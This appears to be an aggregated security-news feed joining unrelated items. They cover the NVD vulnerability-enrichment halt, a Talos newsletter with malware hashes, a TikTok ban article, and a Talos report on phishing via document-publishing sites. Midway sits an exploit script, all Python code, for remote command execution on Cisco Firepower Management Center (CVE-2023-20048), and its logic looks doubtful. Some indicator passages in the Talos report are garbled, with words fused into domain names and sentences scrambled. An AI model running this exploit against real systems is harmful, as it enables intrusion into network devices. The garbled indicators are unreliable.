By Deeba Ahmed
40% of 2024 CVEs Missing Key Info: NVD Data Gap Raises Security Risks!
This is a post from HackRead.com Read the original post: NIST NVD Halt Leaves Thousands of Vulnerabilities Untagged

Alert! Missing NVD Data Leaves Businesses Vulnerable. Patching Delays Due to Disruption. Security Experts Urge Action.

A disruption at the National Institute of Standards and Technology (NIST) is causing problems for organizations that rely on its National Vulnerability Database (NVD). The NVD is a central repository for information about software vulnerabilities, serving as a critical resource for organizations to identify and address security weaknesses in their systems. 

Security policies mandate governments and commercial organizations to address vulnerabilities based on NVD-provided severity levels within specific days, making it the world’s most significant vulnerability database.

Therefore, it is concerning that NIST has stopped enriching software vulnerabilities in NVD since February 12, 2024. This significant drop in enrichment was first discovered by software security provider Anchore’s VP of Security, Josh Bressers, and subsequently noted by Cisco Threat Detection & Response’s principal engineer, Jerry Gamblin, Gamblin and NetRise.

The NVD announced on February 15th that it is working to establish a consortium to address challenges in the NVD program and develop “improved tools and methods.” This may cause temporary delays in analysis efforts, the NVD explained. However, security analysts opine that the NVD is lagging in fully reporting CVEs.

> _“NIST is currently working to establish a consortium to address challenges in the NVD program and develop improved tools and methods. You will temporarily see delays in analysis efforts during this transition. We apologize for the inconvenience and ask for your patience as we work to improve the NVD program.”_

Hackread.com captured a screenshot from the website, which has been displayed since February 14, 2024.

Screenshot: Hackread.com

As pointed out by a report referring to NetRise CEO Tom Pace, reported that only 200 out of 2700 Common Vulnerabilities and Exposures (CVEs) have been enriched. This means over 2500 vulnerabilities added to the database have been uploaded without crucial metadata information.

These include the description of the vulnerability and software ‘weakness’ potentially leading to an exploit (called Common Weakness and Exposure/CWE), the names of affected software products, the vulnerability’s criticality/CVSS score, and patching status. Bressers shared an updated graph showing few CVEs have been enriched in the past 30 days.

The issue is attributed to a decrease in CVEs enriched with crucial metadata, such as Common Product Enumerators (CPEs) and criticality scores (CVSS). The NVD has left thousands of CVEs untagged since mid-February, leaving around 40% of this year’s CVEs without vital information. This is concerning as CPE is the main way to match a CVE to a component and relies on many home-grown vulnerability solutions.

For your information, MITRE developed the CVE framework to identify known security flaws. CVE IDs are reported by CVE Numbering Authorities, which include 350 tech companies, security vendors, and researchers.

CVEs are tagged with other cybersecurity acronyms like Common Weakness Enumerators (CWEs), Common Vulnerability Scoring System (CVSS), and Common Platform Enumerator (CPE). CWEs describe coding flaws, CVSS scores describe CVE impact severity, and CPEs identify systems in danger.

This disruption poses a significant challenge to organizations that depend on the NVD for vulnerability management. Without access to this comprehensive data, organizations cannot efficiently identify vulnerable systems within their networks. This can lead to delayed patching or remediation efforts, potentially exposing these systems to exploitation by malicious actors.

The cybersecurity researchers are urging NIST to prioritize resolving this interruption and resume providing complete vulnerability data within the NVD. Transparency regarding the cause of this issue is also essential to ensure continued trust and collaboration within the cybersecurity community.

1.  Vulnerability Risk Management for External Assets
2.  ZombieBoy crypto malware exploits CVEs to evade detection
3.  NIST’s Cybersecurity Framework 2.0: Guide for All Organizations
4.  Flashpoint Uncovers 100K+ Hidden Vulnerabilities, Including 0-Days
5.  Ethical Hackers Reported 835 Vulnerabilities, Earned $450K in 2023

NIST NVD Halt Leaves Thousands of Vulnerabilities Untagged

There are a few reasons why we’re so ready to jump to the “it’s a cyber attack!”

Thursday, March 14, 2024 14:00

Some of my Webex rooms recently have been blowing up with memes about blaming Canada or wild speculation that a state-sponsored actor is carrying out some sort of major campaign.  

After a widespread outage of cellular service with AT&T and other carriers a few weeks ago, people were sure it was some sort of coordinated attack to disrupt Americans’ services that largely power our day-to-day lives. The outage lasted about 11 hours, and after the fact, the company announced they’d give customers a whopping $5 credit to make up for the issue. The Federal Communications Commission also announced last week that it was launching a formal investigation into the outage, requesting more information about the exact cause and how many users were affected.  

About two weeks later, the same kinds of messages and questions to our team came flooding in when Meta experienced an outage across many of its platforms, most notably Facebook, Instagram and Threads. Though this only lasted a few hours, any time Americans can’t access their Instagram feeds, it’s going to make headlines. 

In both cases, consumers immediately wanted to start pointing fingers — Which actor was behind these? Why is there so little information about this outage? Is this China getting revenge for talk of forcing a TikTok sale? What’s the broader conspiracy behind this? The outages also quickly opened the door for some of the world’s chief spreaders of misinformation and fake news to start spreading conspiracy theories. 

The problem is, not every technical issue can or needs to be explained away by a cyber attack. That’s not to undersell the danger that state-sponsored APTs pose currently, or the fact that they \*could\* one day cause a disruption like this. But jumping to that conclusion every time Down Detector pops off is only going to spread fear/FUD and help these outlets for disinformation reach a larger audience.  

It creates a “boy who cried wolf” situation for when a major cyber attack actually does happen, and the average consumer is forced to make an immediate update to some piece of software or hardware. 

There are a few reasons why we’re so ready to jump to the “it’s a cyber attack!” conclusion. One is that Hollywood has been “glamorizing” the idea of a major cyber attack or major disruption for years now. Movies and TV shows like Netflix’s “Leave the World Behind” have dramatized what a major cyber attack or internet outage may look like, and how quickly it could lead to the unraveling of civilization. Because of our current doomscrolling culture, the second something even looks like it could be a cyber event, we’re ready to declare the end of our economy and society. 

It’s also sexier when it’s a cyber attack. AT&T says its outage was caused by a technical error that occurred when it was trying to upgrade its network’s capacity, explicitly stating it was not caused by any sort of disruption campaign or cyber attack. Meta simply chalked their outage up to a “technical issue.”  

None of these things make for good headlines. But sometimes, the simplest explanation is the most obvious one — we’ve all pressed a wrong button here or there, and stuff breaks on the internet all the time for all sorts of reasons. But “Users logged out of Instagram after Meta employee hits ‘enter’ too soon” isn’t as eye-catching as “Are Instagram and Facebook down because of a cyber attack?” 

Could these multi-billion-dollar corporations be lying? Sure, but I also find it hard enough to believe that the truth would not have made it out to consumers by now if these outages weren’t simple technical issues, nor would AT&T feel compelled to reimburse customers for something that could be totally out of their control. 

And if you ever get logged out of Facebook or Instagram, maybe you’re just better off being offline for a few hours anyway than immediately assuming Mahershala Ali is going to be knocking on your vacation home’s door in any minute.   

**The one big thing **

We want to keep reminding users to update and upgrade their network infrastructure. Aging devices like switches and routers that are used across the globe are a consistently vulnerable surface for adversaries to gain an initial foothold onto targeted networks. Talos recently highlighted the three most common post-compromise attacks that adversaries carry out after compromising these types of vulnerable devices, including modifying the device’s firmware and downgrading the firmware to remove older patches and open the door to new exploitable vulnerabilities. Nick Biasini from Talos Outreach also spoke about this issue for an article in NetworkWorld.  

**Why do I care? **

As Hazel Burton puts it in the blog post linked above: “Adversaries, particularly APTs, are capitalizing on this scenario to conduct hidden post-compromise activities once they have gained initial access to the network. The goal here is to give themselves a greater foothold, conceal their activities, and hunt for data and intelligence that can assist them with their espionage and/or disruptive goals. Think of it like a burglar breaking into a house via the water pipes. They’re not using “traditional” methods such as breaking down doors or windows (the noisy smash-and-grab approach) — they’re using an unusual route, because no one ever thinks their house will be broken into via the water pipes. Their goal is to remain stealthy on the inside while they take their time to find the most valuable artefacts.” 

**So now what? **

If you are using network infrastructure that is end of life, out of support, and now has vulnerabilities that cannot be patched, now really is the time to replace those devices. Using networking equipment that has been built with secure-by-design principles such as running secure boot, alongside having a robust configuration and patch management approach, is key to combatting these types of threats. Ensure that these devices are being watched very carefully for any configuration changes and patch them promptly whenever new vulnerabilities are discovered.   

**Top security headlines of the week **

**Security researchers have found a new vulnerability affecting chips made by nearly all major CPU makers dubbed “GhostRace.”** The vulnerability, identified as CVE-2024-2193, requires an adversary to win a race condition and to have physical or privileged access to the targeted machine. However, it could allow a malicious user to steal potentially sensitive information from memory like passwords and encryption keys. "The vulnerability affects many CPU architectures, including those made by Intel, AMD, Arm and IBM. It also affected some hypervisor vendors and the Linux operating system. AMD released an advisory this week that informed customers that they should follow previous defense guidance for other security flaws like Spectre that have affected CPUs in the past. “Our analysis shows all the other common write-side synchronization primitives in the Linux kernel are ultimately implemented through a conditional branch and are therefore vulnerable to speculative race conditions,” VU Amsterdam said in its blog post disclosing GhostRace. (SecurityWeek, Vrije Universiteit Amsterdam) 

**Health care providers are still reeling from a cyber attack on Change Healthcare**, a subsidiary of the United HealthGroup Inc. insurance provider. First Health Advisory, a digital health risk assurance firm, recently estimated that health care providers are losing an estimated $100 million daily as they still cannot process payments from insurance providers. Change first disclosed the suspected ransomware attack in late February, and on March 5, the U.S. government announced a plan to provide relief payments for providers who are facing financial shortfalls due to the outage. Many doctors' offices and care clinics are facing late rent payments and unpaid invoices. The attack has also limited some patients’ ability to obtain pre-authorization for certain services and surgeries, and others have not been able to refill their prescriptions at hospitals. U.S. Congress is also asking the CEO of United HealthGroup to appear before a committee to answer questions about the hack. (CBS News, Bloomberg) 

**The U.S. has placed formal sanctions against two individuals and five entities associated with the Intellexa Consortium,** responsible for developing and distributing the Predator spyware. Talos has previously reported on Intellexa’s tools, and how their spyware is silently loaded onto targeted devices. This is the first time the Treasury Department has sanctioned a spyware organization and announced it publicly. The sanctions include five vendors who work with Intellexa to sell the spyware, all of whom are spread across Europe. Intellexa itself is based in Greece. Predator and other spyware developed by private parties are often used to target high-risk individuals to track their communication and movement, including politicians, journalists, activists and political dissidents. Under the sanctions, anyone in the U.S. is forbidden from doing business with Intellexa or the associated companies and individuals. The Biden administration has long pushed for additional action against spyware makers, including Israel-based NSO Group, which distributes the Pegasus spyware. (Voice of America, Axios) 

**Can’t get enough Talos? **

*   Threat actors leverage document publishing sites for ongoing credential and session token theft 
*   Heather Couk is here to keep your spirits up during a cyber emergency, even if it takes the “Rocky” music 
*   Another Patch Tuesday with no zero-days, only two critical vulnerabilities disclosed by Microsoft 
*   Talos Takes Ep. #175: What's new about GhostSec's ransomware-as-a-service model 

**Upcoming events where you can find Talos **

**Botconf** **(April 23 - 26)** 

_Nice, Côte d'Azur, France_

> _This presentation from Chetan Raghuprasad details the Supershell C2 framework. Threat actors are using this framework massively and creating botnets with the Supershell implants._

**CARO Workshop 2024** **(May 1 - 3)** 

_Arlington, Virginia_

> Over the past year, we’ve observed a substantial uptick in attacks by YoroTrooper, a relatively nascent espionage-oriented threat actor operating against the Commonwealth of Independent Countries (CIS) since at least 2022. Asheer Malhotra's presentation at CARO 2024 will provide an overview of their various campaigns detailing the commodity and custom-built malware employed by the actor, their discovery and evolution in tactics. He will present a timeline of successful intrusions carried out by YoroTrooper targeting high-value individuals associated with CIS government agencies over the last two years.

**RSA** **(May 6 - 9)** 

_San Francisco, California_   

**Most prevalent malware files from Talos telemetry over the past week **

**SHA 256:** a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91    
**MD5:** 7bdbd180c081fa63ca94f9c22c457376   
**Typical Filename:** c0dwjdi6a.dll   
**Claimed Product:** N/A    
**Detection Name:** Trojan.GenericKD.33515991 

**SHA 256:** 24283c2eda68c559f85db7bf7ccfe3f81e2c7dfc98a304b2056f1a7c053594fe   
**MD5:** 49ae44d48c8ff0ee1b23a310cb2ecf5a   
**Typical Filename:** nYzVlQyRnQmDcXk   
**Claimed Product:** N/A   
**Detection Name:** Win.Dropper.Scar::tpd 

**SHA 256:** e38c53aedf49017c47725e4912fc7560e1c8ece2633c05057b22fd4a8ed28eb3   
**MD5:** c16df0bfc6fda86dbfa8948a566d32c1   
**Typical Filename:** CEPlus.docm   
**Claimed Product:** N/A    
**Detection Name:** Doc.Downloader.Pwshell::mash.sr.sbx.vioc 

**SHA 256:** 9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507    
**MD5:** 2915b3f8b703eb744fc54c81f4a9c67f    
**Typical Filename:** VID001.exe    
**Claimed Product:** N/A    
**Detection Name:** Win.Worm.Coinminer::1201 

**SHA 256:** e4973db44081591e9bff5117946defbef6041397e56164f485cf8ec57b1d8934   
**MD5:** 93fefc3e88ffb78abb36365fa5cf857c   
**Typical Filename:** Wextract   
**Claimed Product:** Internet Explorer   
**Detection Name:** W32.File.MalParent

Not everything has to be a massive, global cyber attack

A bill that passed the House of Representatives would ban TikTok from the US unless Chinese owner ByteDance gives up its share of the app.

The House of Representatives has passed a bill that would effectively ban TikTok from the US unless Chinese owner ByteDance gives up its share of the immensely popular app.

TikTok is an immensely popular social media platform that allows users to create, share, and discover, short video clips. It’s experienced explosive growth since it first appeared in 2017, and is now said to have well over 1.5 billion users, with an estimated 170 million of them in the US.

Since 2020, several governments and organizations have banned, or considered banning, TikTok from their staff’s devices, but a complete ban of an internet app would be a first in the US.

Other countries have done this before. In 2020, India was the first country to ban TikTok, along with around 200 other Chinese apps that were all blocked from operating within the country. The ban cost TikTok some 200 million users.

General Paul Nakasone, Director of the National Security Agency (NSA) certainly fueled the feeling of necessity for such a ban. Speaking at a US Senate hearing in March 2023, the general said “one third of Americans get their news from TikTok”, adding “one sixth of American youth say they’re constantly on TikTok. That’s a loaded gun.”

And a former executive at TikTok’s parent company ByteDance claimed in court documents that the Chinese Communist Party (CCP) had access to TikTok data, despite the data being stored in the US. The allegations were made in a wrongful dismissal lawsuit which was filed in May in the San Francisco Superior Court.

Ever since then, TikTok has been battling to convince politicians that it operates independently of ByteDance, which has deep ties to the CCP. For example, TikTok has repeatedly claimed the Chinese government never demanded access to US data and that TikTok would not comply if it did.

All this, and the fear of foreign influence on the upcoming elections, led to the bipartisan legislation introduced in the House with the expectation to send it to the Senate later this week.

Essentially, the bill says that TikTok has to find a new owner that is not based in a foreign adversarial country within the next 180 days or face a ban until it does comply.

The Electronic Frontier Foundation (EFF), an international non-profit digital rights group based in the US, says it opposes this bill, mainly because it is afraid that TikTok will not be the last app to face this type of ban. It mentions Tencent’s WeChat app as an example of what could be the next target.

A year ago, supporters of digital rights across the country successfully stopped the federal RESTRICT Act aka the “TikTok ban.” The RESTRICT Act was introduced in the United States Senate on March 7, 2023 and requires federal actions to identify and mitigate foreign threats to information and communications technology products and services (e.g., social media applications). It also establishes civil and criminal penalties for violations under the bill.

The EFF argues that the bill will not stop the sharing of data but it will reduce online rights in a way that is unconstitutional. And it says the focus should be on the common practice of data collection in the first place, rather than single out one app.

The point made by the EFF stipulates that data brokers will continue to sell our information to whomever is willing to pay. And the apps providing brokers with data are certainly not limited to those that hail from a foreign adversarial country.

Chinese officials reportedly said the government would “firmly oppose” any forced sale of TikTok because it would “seriously undermine the confidence of investors from various countries, including China, to invest in the United States.”

****Check your digital footprint****

If you want to find out how much of your data has been exposed online, you can try our free Digital Footprint scan. Fill in the email address you’re curious about (it’s best to submit the one you most frequently use) and we’ll send you a free report.

**We don’t just report on threats – we help safeguard your entire digital identit**y

Cybersecurity risks should never spread beyond a headline. Protect your—and your family’s—personal information by using Malwarebytes Identity Theft Protection.

 TikTok faces ban in US unless it parts ways with Chinese owner ByteDance 

Cisco Firepower Management Center suffers from an authenticated remote command execution vulnerability. Many versions spanning the 7.x.x.x and 6.x.x.x branches are affected.

# Exploit Title: [Cisco Firepower Management Center]  
# Google Dork: [non]  
# Date: [12/06/2023]  
# Exploit Author: [Abdualhadi khalifa](https://twitter.com/absholi_ly)  
# Version: [6.2.3.18", "6.4.0.16", "6.6.7.1]  
# CVE : [CVE-2023-20048]

import requests  
import json

# set the variables for the URL, username, and password for the FMC web services interface  
fmc_url = "https://fmc.example.com"  
fmc_user = "admin"  
fmc_pass = "cisco123"

# create a requests session to handle cookies and certificate verification  
session = requests.Session()  
session.verify = False

# send a POST request to the /api/fmc_platform/v1/auth/generatetoken endpoint to get the access token and refresh token  
token_url = fmc_url + "/api/fmc_platform/v1/auth/generatetoken"  
response = session.post(token_url, auth=(fmc_user, fmc_pass))

# check the response status and extract the access token and refresh token from the response headers  
# set the access token as the authorization header for the subsequent requests  
try:  
    if response.status_code == 200:  
        access_token = response.headers["X-auth-access-token"]  
        refresh_token = response.headers["X-auth-refresh-token"]  
        session.headers["Authorization"] = access_token  
    else:  
        print("Failed to get tokens, status code: " + str(response.status_code))  
        exit()  
except Exception as e:  
    print(e)  
    exit()

# set the variable for the domain id  
# change this to your domain id  
domain_id = "e276abec-e0f2-11e3-8169-6d9ed49b625f"

# send a GET request to the /api/fmc_config/v1/domain/{DOMAIN_UUID}/devices/devicerecords endpoint to get the list of devices managed by FMC  
devices_url = fmc_url + "/api/fmc_config/v1/domain/" + domain_id + "/devices/devicerecords"  
response = session.get(devices_url)

# check the response status and extract the data as a json object  
try:  
    if response.status_code == 200:  
        data = response.json()  
    else:  
        print("Failed to get devices, status code: " + str(response.status_code))  
        exit()  
except Exception as e:  
    print(e)  
    exit()

# parse the data to get the list of device names and URLs  
devices = []  
for item in data["items"]:  
    device_name = item["name"]  
    device_url = item["links"]["self"]  
    devices.append((device_name, device_url))

# loop through the list of devices and send a GET request to the URL of each device to get the device details  
for device in devices:  
    device_name, device_url = device  
    response = session.get(device_url)

    # check the response status and extract the data as a json object  
    try:  
        if response.status_code == 200:  
            data = response.json()  
        else:  
            print("Failed to get device details, status code: " + str(response.status_code))  
            continue  
    except Exception as e:  
        print(e)  
        continue

    # parse the data to get the device type, software version, and configuration URL  
    device_type = data["type"]  
    device_version = data["metadata"]["softwareVersion"]  
    config_url = data["metadata"]["configURL"]

    # check if the device type is FTD and the software version is vulnerable to the CVE-2023-20048 vulnerability  
    # use the values from the affected products section in the security advisory  
    if device_type == "FTD" and device_version in ["6.2.3.18", "6.4.0.16", "6.6.7.1"]:  
        print("Device " + device_name + " is vulnerable to CVE-2023-20048")

        # create a list of commands that you want to execute on the device  
        commands = ["show version", "show running-config", "show interfaces"]  
        device_id = device_url.split("/")[-1]

        # loop through the list of commands and send a POST request to the /api/fmc_config/v1/domain/{DOMAIN_UUID}/devices/devicerecords/{DEVICE_ID}/operational/command/{COMMAND} endpoint to execute each command on the device  
        # replace {DOMAIN_UUID} with your domain id, {DEVICE_ID} with your device id, and {COMMAND} with the command you want to execute  
        for command in commands:  
            command_url = fmc_url + "/api/fmc_config/v1/domain/" + domain_id + "/devices/devicerecords/" + device_id + "/operational/command/" + command  
            response = session.post(command_url)

            # check the response status and extract the data as a json object  
            try:  
                if response.status_code == 200:  
                    data = response.json()  
                else:  
                    print("Failed to execute command, status code: " + str(response.status_code))  
                    continue  
            except Exception as e:  
                print(e)  
                continue

            # parse the data to get the result of the command execution and print it  
            result = data["result"]  
            print("Command: " + command)  
            print("Result: " + result)

    else:  
        print("Device " + device_name + " is not vulnerable to CVE-2023-20048")

Cisco Firepower Management Center Remote Command Execution

Talos IR has responded to several recent incidents in which threat actors used legitimate digital document publishing sites such as Publuu and Marq to host phishing documents as part of ongoing credential and session harvesting attacks.

Wednesday, March 13, 2024 08:00

*   Cisco Talos Incident Response (Talos IR) has observed the ongoing use of legitimate digital document publishing (DDP) sites for phishing, credential theft and session token theft during recent incident response and threat intelligence engagements.
*   Hosting phishing lures on DDP sites increases the likelihood of a successful phishing attack, since these sites often have a favorable reputation, are unlikely to appear on web filter blocklists, and may instill a false sense of security in users who recognize them as familiar or legitimate.
*   DDP sites allow adversaries to quickly deploy and decommission malicious documents on a single platform. Talos IR also observed an adversary move between DDP sites within a short period.

Talos IR has responded to several recent incidents in which threat actors used legitimate digital document publishing sites such as Publuu and Marq to host phishing documents as part of ongoing credential and session harvesting attacks. Threat actors have used a similar tactic of deploying phishing lures on well-known cloud storage and contract management sites such as Google Drive, OneDrive, SharePoint, DocuSign and Oneflow. However, DDP sites could represent a blind spot for defenders, because they are unfamiliar to trained users and unlikely to be flagged by email and web content filtering controls. Recent malicious activity observed across these platforms underscores the need for security teams to ensure that phishing protections and user awareness training programs consider these and similar sites.

**Background and observations**

 “Digital Document Publishing sites” refers to websites that allow users to upload and share PDF files in a browser-based flipbook format. Visitors can view an entire PDF by flipping from page to page without downloading the document, and some DDP sites offer features that allow other types of interaction with the document. Examples of DDP sites include Publuu, Marq, FlipSnack, Issuu, FlippingBook, RelayTo and SimpleBooklet.

The sites discussed in this blog are not malicious. Rather, they are being abused by threat actors.

**Delivery mechanism**

Threat actors integrate DDP sites as a secondary or intermediate stage of the attack chain, which follows tried-and-true phishing methods.

*   The victim receives an email containing a link to a document hosted on a legitimate DDP site. The email’s subject and/or body often includes the phrase “New Document from \[sender organization\],” and leaves the “To” header blank. Instead, the actors load the target list into the “BCC” field.
*   The DDP-hosted document includes a link to an external, adversary-controlled site.
*   When clicked, the link either moves the victim directly to the adversary-controlled site, or through a series of redirects. Talos IR also observed the inclusion of Cloudflare CAPTCHAs as part of some redirects, an adversary technique reported by Cofense, Netskope and other security teams over the past six months.
*   The victim arrives at the adversary-controlled site, which mimics a legitimate authentication page and is designed to capture user credentials or session tokens during authentication.

Attacks leveraging DDP sites for credential and session token theft often take place through unauthorized access to another legitimate email inbox. In a sort of “cascading” business email compromise (BEC) process, the threat actor creates infrastructure and phishing lures to target a specific victim, then leverages that victim’s established connections to conduct follow-on attacks against other organizations. A portion of the infrastructure created for the original target may be reused, while other portions are recreated to increase the likelihood of success during the subsequent attacks. 

**Lure customization**

DDP sites offer custom capabilities that lend credence to a phishing attack. Not only can the threat actor customize the uploaded phishing document, the web page hosting that document can also be modified. Page customization options include changing the background, banner, border or HTML Title tag. These quick configurations create more convincing lures and are likely to garner a higher click-through rate to the credential harvesting page. 

DDP-hosted lure customization observed during investigation ranged from pages listing the organization name only in the HTML Title tag, to a highly customized lure and landing page combination targeting users of a Canadian telecom provider. In the latter case, the final credential harvesting page was a near replica of the provider’s legitimate user login page, though it was hosted on an unrelated webwave\[.\]dev subdomain. 

**Historical trends**

Expanding the scope of the investigation to include historical data reveals a possible trend where threat actors migrate between DDP sites or rapidly activate and deactivate similar campaigns on the same site over time. For example, Talos IR observed a cluster of activity on SimpleBooklet from late October to early November 2020, and another on RelayTo in early September 2023. More recently, an adversary was observed operating the same credential-harvesting attack, first on Publuu, then later Issuu. 

**Adversary advantages create challenges for defenders**

DDP sites create advantages for threat actors seeking to thwart contemporary phishing protections. The same features and benefits that attract legitimate users to these sites can be abused by threat actors to increase the efficacy of a phishing attack. Given some of these advantages, threat actors may find DDP sites as useful as creating spoofed domains or compromising legitimate sites for phishing and credential theft.

**DDP sites offer low-cost, transient file hosting**

Many DDP sites offer either a free tier or a no-cost trial period where a defined number of files can be published for a limited time. No-cost trial periods usually require only limited personal identifiers and no payment methods. Threat actors can quickly and easily create multiple free accounts, with a varying number of malicious pages per account.

Some DDP sites also allow a link expiration to be set for published content. This feature creates a “set it and forget it” capability for threat actors, who are no longer required to closely track where phishing documents have been deployed so they can be decommissioned. Instead, a link expiration date and time is configured during page creation, ensuring the content will be rendered unavailable automatically, usually after only a short time.

Talos IR observed instances where an adversary launched, then disabled a DDP page in fewer than 24 hours, and others where the DDP page was left active but the final landing page on the adversary-controlled domain was removed through DNS fast fluxing or another mechanism.

This transient nature of DDP pages creates challenges for security teams and complicates the incident response process. While it’s possible to detect, create internal alerts for, and/or notify security personnel about a DDP-hosted lure, the brief availability of the pages creates a compressed response time for defenders. Understanding the theme of the lure, the associated adversary-controlled domains, and the intent of the attack in such a short time may be difficult, even for experienced security teams.

**DDP sites usually have a favorable web reputation.**

The ratio of legitimate to compromised pages hosted on DDP sites is likely quite low. While that ratio seemed to vary by DDP provider, Talos IR found that most pages created recently across all DDP sites hosted legitimate content. Unless this trend continues to shift toward hosting greater volumes of malicious content, these sites will maintain a favorable reputation score and are less likely to be included in automated blocklists. 

A favorable web reputation score may also mislead users who investigate the DDP site using popular open-source intelligence tools or a basic internet search, leading to higher click and credential capture rates than sites with an unknown or poor reputation.

**Site**

**Domain Registration**

**Umbrella Unique Visitors Score\***

**Umbrella Reputation Score\*\***

**Publuu**

2019-02-28 (IS)

63

53 (Medium Risk)

**Marq**

2004-06-19 (IS)

76

9 (Low Risk)

**FlipSnack**

2010-06-03 (US)

96

11 (Low Risk)

**Issuu**

2007-04-19 (GB)

100

9 (Low Risk)

**RelayTo**

2013-12-02 (US)

53

58 (Medium Risk)

_\* Umbrella’s Unique Visitors Score is included to illustrate estimated traffic volume per site as of Feb. 2, 2024._

_\*\* Reputation Score as of Feb. 2, 2024._

**DDP productivity features may inhibit malicious link detection.**

Talos IR found that productivity features on at least one DDP site inhibited traditional methods of extracting the true URL from a phishing link. During the investigation of a malicious document hosted on Publuu, a custom sub-menu was displayed when the user right-clicked on the URL. While this sub-menu included options that would benefit legitimate users, it did not provide a clear option to copy the URL behind the “View Online PDF” hyperlink. Further, no tooltip popups appeared to show the URL when hovering over the link. 

**Case studies**

Two recent Talos IR engagements involved the use of a DDP site as part of potential credential and session token-harvesting attacks.

**Publuu**

Several individuals at the targeted organization received phishing emails from a compromised email address belonging to a trusted third-party vendor with the subject, “New Document from \[third-party vendor\]”.

The link included in the body of the email led to a Publuu flipbook, with a URL like https://publuu[.]com/flip-book/[6_digit_identifier]/[6_digit_identifier]. The phishing document was a generic, widely used file observed in similar attacks on other DDP sites. However, while the phishing document was reused, the adversary had modified the Publuu page with the sender organization’s name to lend authenticity to the document.

Clicking the “VIEW ONLINE PDF” link directed the user to a Cloudflare CAPTCHA, a technique described in the publications by Cofense and Netskope linked above. Use of the CAPTCHA likely has a dual purpose, as it both protects the credential harvesting page from automated access while giving the impression of a legitimate site to users who fall victim to the phishing link.

After completing the CAPTCHA, the victim is directed to a convincing replica of a Microsoft 365 authentication page. The URL for the page contains a lengthy alphanumeric string, which may act as an identifier for the visitor. The adversary-controlled domain associated with the authentication page was atlas-aerspace[.]onlineextracted. The customization of the original Publuu page to the target organization in contrast to this unrelated spoofed domain suggests this incident may have been part of a cascading BEC attack.  

Talos IR later identified an attack chain hosted on the Issuu DDP site with similar indicators. The phishing document was nearly identical, though, unlike the Publuu link, this link URL leveraged the Google AMP to Cloudflare CAPTCHA flow described in the Cofense blog. The credential harvest page was ultimately located at the domain aerospace-atlas[.]online and included the same identifier-style URL string as the one observed with the atlas-aerspace[.]online90 days domain.

In aggregate, the following similar domains – all hosted by Cloudflare – were registered within 90 days. The first two domains were found to be associated with phishing lures hosted on DDP sites, suggesting an effort to target users of the legitimate atlas-aerospace[.]com domain.

*   aerospace-atlas[.]online (registered Jan. 24, 2024)
*   atlas-aerspace[.]online (registered Dec. 19, 2023)
*   atlas-aerspace[.]com (registered Oct. 25, 2023)

Talos provided notification through established channels so affected organizations could review and address this activity.

**Marq**

Talos IR also responded to an incident involving the Marq DDP site. The Marq page hosting the phishing document had already been deactivated, but Talos IR used other forensic data to determine the URL of the associated credential harvesting page. The first part of that URL was https[:]//mvnwsenterprise[.]top:443/aadcdn.msauth.net/.

While the Marq page could not be accessed, Talos IR identified similar pages through open- and closed-source intelligence. These pages were customized to show the sender organization in the HTML Title tag (displayed in the browser tab) but otherwise used an identical “Microsoft365 Online Fax” lure. Unlike some activity clusters on other DDP sites, each page was configured with a unique URL using the .top top-level domain, such as onedrivesmncs[.]top, onedrivemwsamc[.]top, and 347nsm239mws934[.]top. Another common characteristic was the presence of the URL query string tkmilric in all URLs embedded in the phishing document. 

Once clicked, the link passed the user to the spoofed Microsoft authentication page, which resided at the redirect.cgi path of the unique \`.top\` domain. The URL query string for this page included a “ref” parameter, which contained a Base64 and URL encoded value. An example of the decoded value is:

https://login.microsoftonline.com/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https://outlook.office.com/owa/&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code id_token&scope=openid&msafed=1&msaredir=1&client-request-id=**[REDACTED]**&protectedtoken=true&claims={"id_token":{"xms_cc":{"values":["CP1"]}}}&nonce=**[REDACTED]**&state=**[REDACTED]**

The value 00000002-0000-0ff1-ce00-000000000000 found in the client_id and resource parameters is the Microsoft Application ID for Office 365 Exchange Online. The claims string {"id_token":{"xms_cc":{"values":["CP1"]}}} is a required component for a client application to communicate its capabilities to Microsoft Entra ID in an OAuth 2.0 authorization flow. These characteristics likely indicate a campaign to capture session tokens for Microsoft 365 components using the same lure and customized or DGA-generated domains.

**Other DDP Sites**

Following these investigations, Talos IR identified similar activity on other DDP sites. The following examples are provided to demonstrate similarities across DDP sites and are not related to any ongoing or prior Talos IR investigations.

**Flipsnack**

Talos IR identified at least two lure formats used recently on FlipSnack – one eFax PDF-themed lure, and one SharePoint PDF-themed lure. Both landing pages had been removed by the adversary at the time of Talos IR’s review, but the URL for the adversary-controlled page associated with the SharePoint lure (afurrytailwedding[.]com/cure/MSthOffice/index.phpexcept) could indicate a potential Microsoft 365 credential harvesting effort. Neither lure had been customized to target a specific victim. 

**Issuu**

Malicious documents found on Issuu were very similar to those observed on Publuu, except for minor details like a “Reference” number and the link URL. Of the two links tested by Talos IR, one was redirected through an intermediary site before reaching the landing page. The other leveraged the Google AMP and Cloudflare CAPTCHA flow reported by Cofense. Again, the landing pages for both examples had been removed by the adversary at the time of Talos IR’s review.

**RelayTo**

Talos IR located at least two different phishing lures that had been deployed to the RelayTo site in early September 2023. One of these lures was published repeatedly from multiple RelayTo accounts with modifications to only the name of the associated organization. The link in each lure – https[:]//secure-docsx[.]com/efgh5678 – was the same. The secure-docsx[.]combefore the domain had been registered a week this activity began and was followed by the creation of the secure-docu[.]com domain, with which it shared registrant details.

**SimpleBooklet**

Talos IR could not locate a malicious page on the SimpleBooklet site that had not already been deactivated. However, a review of related URLs in VirusTotal suggests that an adversary made prolific use of this site for phishing and possible credential theft from October 2020 through January 2021.

**Defender actions**

Defenders should consider the following actions to help defend against phishing attacks that leverage DDP sites.

*   Block common DDP sites via border security devices, endpoint detection and response (EDR) like Cisco Secure Endpoint, web content filtering, and/or DNS security controls if access to these sites is not required for normal business operations. If blocking these sites will disrupt normal operations, develop a procedure to ensure malicious domains identified in DDP-hosted phishing lures can be quickly blocked.
*   Configure email security controls to detect and alert on links in emails containing common DDP site URLs.
*   Leverage threat intelligence to quickly identify newly created sites related to known threats – in this case, new DDP sites that may be leveraged by threat actors.
*   Monitor for behavioral trends within the organization’s internal environment that could indicate coordinated malicious activity, including activity to blocked sites.
*   Update user security awareness training to include information about DDP sites and other cloud-hosted phishing attack methods. Reinforce a “see something, say something” mentality when users are uncertain about a site’s legitimacy.

